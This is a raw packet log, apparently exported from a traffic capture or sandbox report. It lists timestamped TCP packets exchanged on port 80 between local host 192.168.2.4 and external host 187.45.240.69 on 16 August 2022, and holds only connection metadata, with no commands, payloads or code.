Aug 16, 2022 11:06:09.224694014 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224705935 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224718094 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224735975 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224744081 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224756002 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224786043 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224797010 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224822998 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224827051 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224848032 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224865913 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224886894 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224895954 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224916935 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224939108 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224951982 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224970102 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224987030 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225008011 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.225035906 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.225068092 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225105047 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225125074 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225142956 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225146055 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.225161076 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225174904 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.225204945 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.225219965 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225239992 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225258112 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225275993 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.225281000 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.225296974 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.225323915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.337841988 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.337997913 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.338757038 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467288017 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467370033 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467395067 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467416048 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467439890 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467462063 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467479944 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467504978 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467506886 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467550039 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467550039 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467592001 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467636108 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467639923 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467675924 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467716932 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467721939 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467757940 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467797041 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467802048 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467837095 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467878103 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467881918 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467917919 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467959881 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.467963934 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.467999935 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468039989 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468050957 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468080997 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468122005 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468128920 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468163013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468204021 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468209982 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468245029 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468286991 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468291044 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468327999 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468372107 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468400955 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468413115 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468415976 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468455076 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468465090 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468497038 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468523026 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468539953 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468549967 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468584061 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468627930 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468676090 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468684912 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468700886 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468719006 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468738079 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468760967 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468761921 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468803883 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468847036 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468858957 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468888998 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468930960 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.468945980 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468972921 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.468975067 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469016075 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469057083 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469073057 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469096899 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469098091 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469140053 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469181061 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469189882 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469222069 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469264984 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469275951 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469307899 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469356060 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469368935 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469409943 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469461918 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469466925 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469516993 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469558954 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469572067 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469602108 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469643116 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469656944 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469687939 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469731092 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469733953 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469773054 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469814062 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469824076 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469856024 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469897032 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469914913 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.469938040 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.469979048 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470010996 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470041990 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470082045 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470083952 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470125914 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470133066 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470168114 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470179081 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470191002 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470217943 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470257998 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470269918 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470299006 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470340014 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470355034 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470381021 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470423937 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470433950 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470467091 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470506907 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470519066 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470550060 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470591068 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470624924 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470629930 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470670938 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.470685005 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.470894098 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.553827047 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.554090977 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.651668072 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712034941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712069035 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712095976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712122917 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712129116 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712141037 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712174892 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712193966 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712203979 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712223053 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712244034 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712251902 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712265015 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712297916 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712301016 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712325096 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712336063 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712369919 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712393999 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712456942 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712464094 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712466002 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712491035 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712551117 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712555885 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712575912 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712608099 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712656021 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712729931 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712757111 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712802887 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712811947 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712820053 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712819099 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712846994 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712855101 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712874889 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712951899 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.712956905 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.712985992 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713011026 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713023901 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713043928 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713054895 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713093042 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713120937 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713131905 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713150024 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713166952 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713210106 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713263988 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713288069 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713327885 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713329077 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713335991 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713355064 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713376045 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713386059 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713403940 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713414907 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713429928 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713474989 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713519096 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713527918 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713560104 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713567019 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713593960 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713623047 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713627100 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713651896 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713664055 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713675976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713697910 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713704109 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713732004 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713740110 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713766098 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713773966 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713793039 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713818073 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713819981 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713844061 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713865042 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713869095 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713884115 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713896036 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713911057 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713922024 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.713943005 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713960886 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.713984013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714031935 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714051008 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714070082 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714073896 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714119911 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714145899 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714185953 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714227915 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714229107 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714240074 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714253902 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714260101 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714279890 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714291096 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714303017 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714304924 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714323044 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714346886 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714355946 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714399099 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714422941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714495897 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714523077 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714551926 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714576960 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714611053 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714622021 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714637995 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714646101 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714649916 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714689970 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714696884 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714706898 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714716911 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714740038 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714744091 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714770079 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714770079 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714782953 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714795113 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714813948 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714821100 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714833975 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714864969 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714883089 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714916945 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.714925051 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714951992 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.714977980 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715003014 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715003014 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715029001 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715042114 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715054035 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715075970 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715079069 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715106964 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715109110 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715132952 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715145111 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715157032 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715162992 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715181112 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715214968 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715239048 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715265036 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715303898 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715322971 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715364933 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715378046 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715395927 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715416908 CEST	49795	80	192.168.2.4	187.45.240.69
